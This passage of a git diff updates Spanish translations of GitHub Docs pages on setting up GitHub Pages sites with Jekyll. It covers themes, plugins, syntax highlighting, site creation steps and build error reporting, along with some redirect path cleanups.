-If you want Jekyll to process any of these files, you can use the `include` setting in your configuration file.
+Si quieres que Jekyll procese cualquiera de estos archivos, puedes utilizar el ajuste `include` en tu archivo de configuración.
 
-## Front matter
+## Texto preliminar
 
 {% data reusables.pages.about-front-matter %}
 
-You can add `site.github` to a post or page to add any repository references metadata to your site. For more information, see "[Using `site.github`](https://jekyll.github.io/github-metadata/site.github/)" in the Jekyll Metadata documentation.
+Puedes añadir `site.github` a una publicación o página para añadir cualquier metadato de referencias de repositorio a tu sitio. Para obtener más información, consulta "[Usar `site.github`](https://jekyll.github.io/github-metadata/site.github/)" en la documentación de metadatos de Jekyll.
 
-## Themes
+## Temas
 
-{% data reusables.pages.add-jekyll-theme %} For more information, see "[Themes](https://jekyllrb.com/docs/themes/)" in the Jekyll documentation.
+{% data reusables.pages.add-jekyll-theme %} Para obtenerr más información, consulta "[Temas](https://jekyllrb.com/docs/themes/)" en la documentación de Jekyll.
 
 {% ifversion fpt or ghec %}
-You can add a supported theme to your site on {% data variables.product.prodname_dotcom %}. For more information, see "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site and "[Adding a theme to your {% data variables.product.prodname_pages %} site with the theme chooser](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser)."
+Puedes agregar un tema soportado a tu sitio en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta "[Temas soportados](https://pages.github.com/themes/)" en el sitio {% data variables.product.prodname_pages %} y "[Agregar un tema a tu sitio de {% data variables.product.prodname_pages %} con el selector de temas](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser)."
 
-To use any other open source Jekyll theme hosted on {% data variables.product.prodname_dotcom %}, you can add the theme manually.{% else %} You can add a theme to your site manually.{% endif %} For more information, see{% ifversion fpt or ghec %} [themes hosted on {% data variables.product.prodname_dotcom %}](https://github.com/topics/jekyll-theme) and{% else %} "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site and{% endif %} "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)."
+Para utilizar cualquier otro tema de código abierto de Jekyll en {% data variables.product.prodname_dotcom %}, puedes agregarlo manualmente.{% else %} Puedes agregar un tema a tu sitio manualmente.{% endif %} Para obtener más información, consulta los {% ifversion fpt or ghec %} [temas hospedados en {% data variables.product.prodname_dotcom %}](https://github.com/topics/jekyll-theme) y los{% else %} "[temas compatibles](https://pages.github.com/themes/)" en el sitio de {% data variables.product.prodname_pages %} y la sección {% endif %} "[Agregar un tema a tu sitio de {% data variables.product.prodname_pages %} utilizando Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)".
 
-You can override any of your theme's defaults by editing the theme's files. For more information, see your theme's documentation and "[Overriding your theme's defaults](https://jekyllrb.com/docs/themes/#overriding-theme-defaults)" in the Jekyll documentation.
+Puedes sobrescribir cualquiera de los valores por defecto de tu tema editando los archivos del tema. Para obtener más información, consulta la documentación de tu tema y "[Sobrescribir los valores predeterminados del tema](https://jekyllrb.com/docs/themes/#overriding-theme-defaults)" en la documentación de Jekyll.
 
 ## Plugins
 
-You can download or create Jekyll plugins to extend the functionality of Jekyll for your site. For example, the [jemoji](https://github.com/jekyll/jemoji) plugin lets you use {% data variables.product.prodname_dotcom %}-flavored emoji in any page on your site the same way you would on {% data variables.product.prodname_dotcom %}. For more information, see "[Plugins](https://jekyllrb.com/docs/plugins/)" in the Jekyll documentation.
+Puedes descargar o crear plugins Jekyll para ampliar la funcionalidad de Jekyll para tu sitio. Por ejemplo, el plugin [jemoji](https://github.com/jekyll/jemoji) te permite usar el emoji con formato {% data variables.product.prodname_dotcom %} en cualquier página de tu sitio del mismo modo que lo harías en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta "[Plugins](https://jekyllrb.com/docs/plugins/)" en la documentación de Jekyll.
 
-{% data variables.product.prodname_pages %} uses plugins that are enabled by default and cannot be disabled:
+{% data variables.product.prodname_pages %} usa plugins que están habilitados por defecto y no pueden estar inhabilitados:
 - [`jekyll-coffeescript`](https://github.com/jekyll/jekyll-coffeescript)
 - [`jekyll-default-layout`](https://github.com/benbalter/jekyll-default-layout)
 - [`jekyll-gist`](https://github.com/jekyll/jekyll-gist)
@@ -96,25 +96,25 @@ You can download or create Jekyll plugins to extend the functionality of Jekyll
 - [`jekyll-titles-from-headings`](https://github.com/benbalter/jekyll-titles-from-headings)
 - [`jekyll-relative-links`](https://github.com/benbalter/jekyll-relative-links)
 
-You can enable additional plugins by adding the plugin's gem to the `plugins` setting in your *_config.yml* file. For more information, see "[Configuration](https://jekyllrb.com/docs/configuration/)" in the Jekyll documentation. 
+Puedes habilitar plugins adicionales al agregar la gema del plugin en los ajustes de `plugins` en tu archivo *_config.yml*. Para obtener más información, consulte "[Configuración](https://jekyllrb.com/docs/configuration/)" en la documentación de Jekyll.
 
-For a list of supported plugins, see "[Dependency versions](https://pages.github.com/versions/)" on the {% data variables.product.prodname_pages %} site.  For usage information for a specific plugin, see the plugin's documentation.
+Para conocer la lista de los plugins soportados, consulta "[Versiones de dependencia](https://pages.github.com/versions/)" en el sitio {% data variables.product.prodname_pages %}.  Para obtener información de uso de un plugin específico, consulta la documentación del plugin.
 
 {% tip %}
 
-**Tip:** You can make sure you're using the latest version of all plugins by keeping the {% data variables.product.prodname_pages %} gem updated. For more information, see "[Testing your GitHub Pages site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem)" and "[Dependency versions](https://pages.github.com/versions/)" on the {% data variables.product.prodname_pages %} site.
+**Sugerencia:** Puedes asegurarte de que estás usando la versión más reciente de todos los plugins al mantener actualizada la gema de {% data variables.product.prodname_pages %}. Para obtener más información, consulta "[Comprobar tus páginas de GitHub localmente con Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem)" y "[Versiones de dependencia](https://pages.github.com/versions/)" en el sitio de {% data variables.product.prodname_pages %}.
 
 {% endtip %}
 
-{% data variables.product.prodname_pages %} cannot build sites using unsupported plugins. If you want to use unsupported plugins, generate your site locally and then push your site's static files to {% data variables.product.product_name %}.
+{% data variables.product.prodname_pages %} no puede compilar sitios mediante plugins no compatibles. Si deseas usar plugins no compatibles, genera tu sitio localmente y luego sube los archivos estáticos del sitio a {% data variables.product.product_name %}.
 
-## Syntax highlighting
+## Resaltado de la sintaxis
 
-To make your site easier to read, code snippets are highlighted on {% data variables.product.prodname_pages %} sites the same way they're highlighted on {% data variables.product.product_name %}. For more information about syntax highlighting on {% data variables.product.product_name %}, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)."
+Para facilitar la lectura de tu sitio, los fragmentos de código se resaltan en los sitios de {% data variables.product.prodname_pages %} de la misma manera que se resaltan en {% data variables.product.product_name %}. Para más información sobre como enfatizar sintaxis en {% data variables.product.product_name %}, vea "[Creando y resaltando bloques de código](/articles/creating-and-highlighting-code-blocks)."
 
-By default, code blocks on your site will be highlighted by Jekyll. Jekyll uses the [Rouge](https://github.com/jneen/rouge) highlighter, which is compatible with [Pygments](http://pygments.org/). If you specify Pygments in your *_config.yml* file, Rouge will be used instead. Jekyll cannot use any other syntax highlighter, and you'll get a page build warning if you specify another syntax highlighter in your *_config.yml* file. For more information, see "[About Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/about-jekyll-build-errors-for-github-pages-sites)."
+Por defecto, los bloques de código en su sitio serán resaltados por Jekyll. Jekyll utiliza el resaltador de [Rouge](https://github.com/jneen/rouge), compatible con [Pygments](http://pygments.org/). Si especificas Pygments en tu archivo *_config.yml*, el Rouge se utilizará en su lugar. Jekyll no puede usar ningún otro resaltador de sintaxis, y obtendrás una advertencia de compilación de página si especificas otro en tu archivo *_config.yml*. Para más información, vea "[Acerca de los errores de construcción de sitios Jekyll {% data variables.product.prodname_pages %} ](/articles/about-jekyll-build-errors-for-github-pages-sites)."
 
-If you want to use another highlighter, such as `highlight.js`, you must disable Jekyll's syntax highlighting by updating your project's *_config.yml* file.
+Si quieres usar otro resaltador, como `highlight.js`, debes desactivar el resaltador de sintaxis de Jekyll actualizando el archivo de tu proyecto *_config.yml*.
 
 ```yaml
 kramdown:
@@ -122,12 +122,12 @@ kramdown:
     disable : true
 ```
 
-If your theme doesn't include CSS for syntax highlighting, you can generate {% data variables.product.prodname_dotcom %}'s syntax highlighting CSS and add it to your project's `style.css` file.
+Si tu tema no incluye CSS para resaltar la sintaxis, puedes generar la sintaxis de {% data variables.product.prodname_dotcom %} resaltando CSS y añadirlo a tu archivo `style.css` de proyecto.
 
 ```shell
 $ rougify style github > style.css
 ```
 
-## Building your site locally
+## Construyendo tu sitio localmente
 
 {% data reusables.pages.test-locally %}
diff --git a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md
index 0a8646cfee..c5b53d6108 100644
--- a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md
+++ b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md
@@ -2,8 +2,8 @@
 title: About Jekyll build errors for GitHub Pages sites
 intro: 'If Jekyll encounters an error building your {% data variables.product.prodname_pages %} site locally or on {% data variables.product.product_name %}, you''ll receive an error message with more information.'
 redirect_from:
-  - /articles/viewing-jekyll-build-error-messages/
-  - /articles/generic-jekyll-build-failures/
+  - /articles/viewing-jekyll-build-error-messages
+  - /articles/generic-jekyll-build-failures
   - /articles/about-jekyll-build-errors-for-github-pages-sites
   - /github/working-with-github-pages/about-jekyll-build-errors-for-github-pages-sites
 product: '{% data reusables.gated-features.pages %}'
@@ -36,15 +36,34 @@ If Jekyll does attempt to build your site and encounters an error, you will rece
 
 For more information about troubleshooting build errors, see "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)."
 
-## Viewing Jekyll build error messages
+{% ifversion fpt %} 
+## Viewing Jekyll build error messages with {% data variables.product.prodname_actions %}
+
+By default, your {% data variables.product.prodname_pages %} site is built and deployed with a {% data variables.product.prodname_actions %} workflow run unless you've configured your {% data variables.product.prodname_pages %} site to use a different CI tool. To find potential build errors, you can check the workflow run for your {% data variables.product.prodname_pages %} site by reviewing your repository's workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."  For more information about how to re-run the workflow in case of an error, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)."
+{% note %}
+
+{% data reusables.pages.pages-builds-with-github-actions-public-beta %}
+
+{% endnote %}
+{% endif %}
+
+## Viewing your repository's build failures on {% data variables.product.product_name %}
+
+You can see build failures (but not build warnings) for your site on {% data variables.product.product_name %} in the **Settings** tab of your site's repository.
+
+## Viewing Jekyll build error messages locally
 
 We recommend testing your site locally, which allows you to see build error messages on the command line, and addressing any build failures before pushing changes to {% data variables.product.product_name %}. For more information, see "[Testing your {% data variables.product.prodname_pages %} site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)."
 
+## Viewing Jekyll build error messages in your pull request
+
 When you create a pull request to update your publishing source on {% data variables.product.product_name %}, you can see build error messages on the **Checks** tab of the pull request. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)."
 
+## Viewing Jekyll build errors by email
+
 When you push changes to your publishing source on {% data variables.product.product_name %}, {% data variables.product.prodname_pages %} will attempt to build your site. If the build fails, you'll receive an email at your primary email address. You'll also receive emails for build warnings. {% data reusables.pages.build-failure-email-server %}
 
-You can see build failures (but not build warnings) for your site on {% data variables.product.product_name %} in the **Settings** tab of your site's repository.
+## Viewing Jekyll build error messages in your pull request with a third-party CI service
 
 You can configure a third-party service, such as [Travis CI](https://travis-ci.org/), to display error messages after each commit.
 
diff --git a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
index 1df9bf611d..437902afcb 100644
--- a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
+++ b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
@@ -2,8 +2,8 @@
 title: Agregar un tema a tu sitio de Páginas de GitHub con Jekyll
 intro: Puedes personalizar tu sitio Jekyll agregando y personalizando un tema.
 redirect_from:
-  - /articles/customizing-css-and-html-in-your-jekyll-theme/
-  - /articles/adding-a-jekyll-theme-to-your-github-pages-site/
+  - /articles/customizing-css-and-html-in-your-jekyll-theme
+  - /articles/adding-a-jekyll-theme-to-your-github-pages-site
   - /articles/adding-a-theme-to-your-github-pages-site-using-jekyll
   - /github/working-with-github-pages/adding-a-theme-to-your-github-pages-site-using-jekyll
 product: '{% data reusables.gated-features.pages %}'
diff --git a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
index a39718836b..55eeae9094 100644
--- a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
+++ b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub Pages site with Jekyll
-intro: 'You can use Jekyll to create a {% data variables.product.prodname_pages %} site in a new or existing repository.'
+title: Crear un sitio de Páginas de GitHub con Jekyll
+intro: 'Puedes usar Jekyll para crear un sitio de {% data variables.product.prodname_pages %} en un repositorio nuevo o existente.'
 product: '{% data reusables.gated-features.pages %}'
 redirect_from:
   - /articles/creating-a-github-pages-site-with-jekyll
@@ -13,20 +13,20 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Create site with Jekyll
+shortTitle: Crea un sitio con Jekyll
 ---
 
 {% data reusables.pages.org-owners-can-restrict-pages-creation %}
 
-## Prerequisites
+## Prerrequisitos
 
-Before you can use Jekyll to create a {% data variables.product.prodname_pages %} site, you must install Jekyll and Git. For more information, see [Installation](https://jekyllrb.com/docs/installation/) in the Jekyll documentation and "[Set up Git](/articles/set-up-git)."
+Antes de que puedas usar Jekyll para crear un sitio de {% data variables.product.prodname_pages %}, debes instalar Jekyll y Git. Para obtener más información, consulta [Instalación](https://jekyllrb.com/docs/installation/) en la documentación de Jekyll y "[Configurar Git](/articles/set-up-git)".
 
 {% data reusables.pages.recommend-bundler %}
 
 {% data reusables.pages.jekyll-install-troubleshooting %}
 
-## Creating a repository for your site
+## Crear un repositorio para tu sitio
 
 {% data reusables.pages.new-or-existing-repo %}
 
@@ -35,72 +35,72 @@ Before you can use Jekyll to create a {% data variables.product.prodname_pages %
 {% data reusables.pages.create-repo-name %}
 {% data reusables.repositories.choose-repo-visibility %}
 
-## Creating your site
+## Crear tu sitio
 
 {% data reusables.pages.must-have-repo-first %}
 
 {% data reusables.pages.private_pages_are_public_warning %}
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. If you don't already have a local copy of your repository, navigate to the location where you want to store your site's source files, replacing _PARENT-FOLDER_ with the folder you want to contain the folder for your repository.
+1. Si aún no tienes una copia local de tu repositorio, desplázate hasta la ubicación en la que quieras almacenar los archivos fuente de tu sitio y reemplaza _PARENT-FOLDER_ por la carpeta que quieras que contenga la carpeta para su repositorio.
   ```shell
   $ cd <em>PARENT-FOLDER</em>
   ```
-1. If you haven't already, initialize a local Git repository, replacing _REPOSITORY-NAME_ with the name of your repository.
+1. Si aún no lo has hecho, inicia un repositorio de Git local reemplazando _REPOSITORY-NAME_ por el nombre de tu repositorio.
   ```shell
   $ git init <em>REPOSITORY-NAME</em>
   > Initialized empty Git repository in /Users/octocat/my-site/.git/
   # Creates a new folder on your computer, initialized as a Git repository
   ```
-  4. Change directories to the repository.
+  4. Cambio los directorios para el repositorio.
   ```shell
   $ cd <em>REPOSITORY-NAME</em>
   # Changes the working directory
   ```
 {% data reusables.pages.decide-publishing-source %}
 {% data reusables.pages.navigate-publishing-source %}
-  For example, if you chose to publish your site from the `docs` folder on the default branch, create and change directories to the `docs` folder.
+  Por ejemplo, si decides publicar tu sitio desde la carpeta `docs` de la rama predeterminada, crea y cambia los directorios para la carpeta `docs`.
  ```shell
  $ mkdir docs
  # Creates a new folder called docs
  $ cd docs
  ```
- If you chose to publish your site from the `gh-pages` branch, create and checkout the `gh-pages` branch.
+ Si decides publicar tu sitio desde la rama `gh-pages`, crea y controla la rama `gh-pages`.
  ```shell
  $ git checkout --orphan gh-pages
  # Creates a new branch, with no history or contents, called gh-pages and switches to the gh-pages branch
  ```
-1. To create a new Jekyll site, use the `jekyll new` command:
+1. Para crear un sitio nuevo de Jekyll, utiliza el comando `jekyll new`:
    ```shell
    $ jekyll new --skip-bundle .
    # Creates a Jekyll site in the current directory
    ```
-1. Open the Gemfile that Jekyll created.
-1. Add "#" to the beginning of the line that starts with `gem "jekyll"` to comment out this line.
-1. Add the `github-pages` gem by editing the line starting with `# gem "github-pages"`. Change this line to:
+1. Abre el Gemfile que creó Jekyll.
+1. Agrega "#" en el inicio de la línea que comienza con `gem "jekyll"` para comentar esta línea.
+1. Agrega la gema `github-pages` editando la línea que comienza con `# gem "github-pages"`. Cambia la línea a:
 
    ```shell
    gem "github-pages", "~> GITHUB-PAGES-VERSION", group: :jekyll_plugins
    ```
 
-   Replace _GITHUB-PAGES-VERSION_ with the latest supported version of the `github-pages` gem. You can find this version here: "[Dependency versions](https://pages.github.com/versions/)."
+   Reemplaza _GITHUB-PAGES-VERSION_ con la última versión compatible de la gema `github-pages`. Puedes encontrar esta versión aquí: "[Versiones de la dependencia](https://pages.github.com/versions/)".
 
-   The correct version Jekyll will be installed as a dependency of the `github-pages` gem.
-1. Save and close the Gemfile.
-1. From the command line, run `bundle install`.
-1. Optionally, make any necessary edits to the `_config.yml` file. This is required for relative paths when the repository is hosted in a subdirectory.  For more information, see "[Splitting a subfolder out into a new repository](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)."
+   La versión correcta de Jekyll se instalará como una dependencia de la gema `github-pages`.
+1. Guarda y cierra el Gemfile.
+1. Desde la línea de comandos, ejecuta `bundle install`.
+1. Opcionalmente, haz cualquier edición necesaria en el archivo `_config.yml`. Esto se requiere para las rutas relativas cuando el repositorio se hospeda en un subdirectorio.  Para obtener más información, consulta la sección "[Dividir una subcarpeta en un repositorio nuevo](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)".
    ```yml
    domain: my-site.github.io       # if you want to force HTTPS, specify the domain without the http at the start, e.g. example.com
    url: https://my-site.github.io  # the base hostname and protocol for your site, e.g. http://example.com
    baseurl: /REPOSITORY-NAME/      # place folder name if the site is served in a subfolder
   ```
-1. Optionally, test your site locally. For more information, see "[Testing your {% data variables.product.prodname_pages %} site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)."
-1. Add and commit your work.
+1. De forma opcional, prueba tu sitio localmente. Para obtener más información, consulta "[Verificar tu sitio de {% data variables.product.prodname_pages %} localmente con Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)".
+1. Agrega y confirma tu trabajo.
 ```shell
 git add .
 git commit -m 'Initial GitHub pages site with Jekyll'
 ```
-1. Add your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} as a remote, replacing {% ifversion ghes or ghae %}_HOSTNAME_ with your enterprise's hostname,{% endif %} _USER_ with the account that owns the repository{% ifversion ghes or ghae %},{% endif %} and _REPOSITORY_ with the name of the repository.
+1. Agrega tu repositorio en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} como remoto, reemplazando a {% ifversion ghes or ghae %}_HOSTNAME_ con el nombre de host de tu empresa,{% endif %}a _USER_ con la cuenta a la que pertenece el repositorio{% ifversion ghes or ghae %},{% endif %} y a _REPOSITORY_ con el nombre del repositorio.
 ```shell
 {% ifversion fpt or ghec %}
 $ git remote add origin https://github.com/<em>USER</em>/<em>REPOSITORY</em>.git
@@ -108,7 +108,7 @@ $ git remote add origin https://github.com/<em>USER</em>/<em>REPOSITORY</em>.git
 $ git remote add origin https://<em>HOSTNAME</em>/<em>USER</em>/<em>REPOSITORY</em>.git
 {% endif %}
 ```
-1. Push the repository to {% data variables.product.product_name %}, replacing _BRANCH_ with the name of the branch you're working on.
+1. Sube el repositorio a {% data variables.product.product_name %}, reemplazando _BRANCH_ por el nombre de la rama en la que estás trabajando.
    ```shell
    $ git push -u origin <em>BRANCH</em>
    ```
@@ -119,11 +119,12 @@ $ git remote add origin https://<em>HOSTNAME</em>/<em>USER</em>/<em>REPOSITORY</
 {% ifversion fpt or ghec %}
 {% data reusables.pages.choose-visibility %}{% endif %}
 {% data reusables.pages.visit-site %}
+{% data reusables.pages.check-workflow-run %}
 
 {% data reusables.pages.admin-must-push %}
 
-## Next steps
+## Pasos siguientes
 
-To add a new page or post to your site, see "[Adding content to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-content-to-your-github-pages-site-using-jekyll)."
+Para agregar una página o publicación nueva a tu sitio, consulta "[Agregar contenido a tu sitio de {% data variables.product.prodname_pages %} con Jekyll](/articles/adding-content-to-your-github-pages-site-using-jekyll)".
 
-{% data reusables.pages.add-jekyll-theme %} For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)."
+{% data reusables.pages.add-jekyll-theme %} Para obtener más información, consulta "[Agregar un tema a tu sitio de {% data variables.product.prodname_pages %} con Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)".
diff --git a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
index e3060a1f8f..a7fff0f3d6 100644
--- a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
+++ b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
@@ -2,7 +2,7 @@
 title: Configurar un sitio de Páginas de GitHub con Jekyll
 intro: 'Puedes usar Jekyll, un generador de sitio estático popular, para personalizar aún más tu sitio de {% data variables.product.prodname_pages %}.'
 redirect_from:
-  - /articles/using-jekyll-with-pages/
+  - /articles/using-jekyll-with-pages
   - /articles/using-jekyll-as-a-static-site-generator-with-github-pages
   - /articles/setting-up-a-github-pages-site-with-jekyll
   - /github/working-with-github-pages/setting-up-a-github-pages-site-with-jekyll
diff --git a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md
index fdd63c31ee..639b45e5ca 100644
--- a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md
+++ b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md
@@ -2,8 +2,8 @@
 title: Configurar un procesador Markdown para tu sitio de páginas de GitHub usando Jekyll
 intro: 'Puedes elegir un procesador Markdown para determinar la manera en que Markdown se representa en tu sitio de {% data variables.product.prodname_pages %}.'
 redirect_from:
-  - /articles/migrating-your-pages-site-from-maruku/
-  - /articles/updating-your-markdown-processor-to-kramdown/
+  - /articles/migrating-your-pages-site-from-maruku
+  - /articles/updating-your-markdown-processor-to-kramdown
   - /articles/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll
   - /github/working-with-github-pages/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll
 product: '{% data reusables.gated-features.pages %}'
diff --git a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
index 1ec9e2c0de..3a41bb01bb 100644
--- a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
+++ b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
@@ -2,8 +2,8 @@
 title: Probar tu sitio de Páginas de GitHub localmente con Jekyll
 intro: 'Puedes compilar tu sitio de {% data variables.product.prodname_pages %} localmente para previsualizar y probar los cambios en tu sitio.'
 redirect_from:
-  - /articles/setting-up-your-pages-site-locally-with-jekyll/
-  - /articles/setting-up-your-github-pages-site-locally-with-jekyll/
+  - /articles/setting-up-your-pages-site-locally-with-jekyll
+  - /articles/setting-up-your-github-pages-site-locally-with-jekyll
   - /articles/testing-your-github-pages-site-locally-with-jekyll
   - /github/working-with-github-pages/testing-your-github-pages-site-locally-with-jekyll
 product: '{% data reusables.gated-features.pages %}'
diff --git a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md
index 1c37b0c00b..0f301a230a 100644
--- a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md
+++ b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md
@@ -2,27 +2,27 @@
 title: Solucionar problemas de errores de compilación de Jekyll para sitios de Páginas de GitHub
 intro: 'Puedes usar los mensajes de error de compilación de Jekyll para solucionar los problemas de tu sitio de {% data variables.product.prodname_pages %}.'
 redirect_from:
-  - /articles/page-build-failed-missing-docs-folder/
-  - /articles/page-build-failed-invalid-submodule/
-  - /articles/page-build-failed-missing-submodule/
-  - /articles/page-build-failed-markdown-errors/
-  - /articles/page-build-failed-config-file-error/
-  - /articles/page-build-failed-unknown-tag-error/
-  - /articles/page-build-failed-tag-not-properly-terminated/
-  - /articles/page-build-failed-tag-not-properly-closed/
-  - /articles/page-build-failed-file-does-not-exist-in-includes-directory/
-  - /articles/page-build-failed-file-is-a-symlink/
-  - /articles/page-build-failed-symlink-does-not-exist-within-your-sites-repository/
-  - /articles/page-build-failed-file-is-not-properly-utf-8-encoded/
-  - /articles/page-build-failed-invalid-post-date/
-  - /articles/page-build-failed-invalid-sass-or-scss/
-  - /articles/page-build-failed-invalid-highlighter-language/
-  - /articles/page-build-failed-relative-permalinks-configured/
-  - /articles/page-build-failed-syntax-error-in-for-loop/
-  - /articles/page-build-failed-invalid-yaml-in-data-file/
-  - /articles/page-build-failed-date-is-not-a-valid-datetime/
-  - /articles/troubleshooting-github-pages-builds/
-  - /articles/troubleshooting-jekyll-builds/
+  - /articles/page-build-failed-missing-docs-folder
+  - /articles/page-build-failed-invalid-submodule
+  - /articles/page-build-failed-missing-submodule
+  - /articles/page-build-failed-markdown-errors
+  - /articles/page-build-failed-config-file-error
+  - /articles/page-build-failed-unknown-tag-error
+  - /articles/page-build-failed-tag-not-properly-terminated
+  - /articles/page-build-failed-tag-not-properly-closed
+  - /articles/page-build-failed-file-does-not-exist-in-includes-directory
+  - /articles/page-build-failed-file-is-a-symlink
+  - /articles/page-build-failed-symlink-does-not-exist-within-your-sites-repository
+  - /articles/page-build-failed-file-is-not-properly-utf-8-encoded
+  - /articles/page-build-failed-invalid-post-date
+  - /articles/page-build-failed-invalid-sass-or-scss
+  - /articles/page-build-failed-invalid-highlighter-language
+  - /articles/page-build-failed-relative-permalinks-configured
+  - /articles/page-build-failed-syntax-error-in-for-loop
+  - /articles/page-build-failed-invalid-yaml-in-data-file
+  - /articles/page-build-failed-date-is-not-a-valid-datetime
+  - /articles/troubleshooting-github-pages-builds
+  - /articles/troubleshooting-jekyll-builds
   - /articles/troubleshooting-jekyll-build-errors-for-github-pages-sites
   - /github/working-with-github-pages/troubleshooting-jekyll-build-errors-for-github-pages-sites
 product: '{% data reusables.gated-features.pages %}'
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
index 44678e584b..c9264010b1 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
@@ -2,7 +2,7 @@
 title: Addressing merge conflicts
 intro: 'If your changes have merge conflicts with the base branch, you must address the merge conflicts before you can merge your pull request''s changes.'
 redirect_from:
-  - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/
+  - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts
   - /articles/addressing-merge-conflicts
   - /github/collaborating-with-pull-requests/addressing-merge-conflicts
 versions:
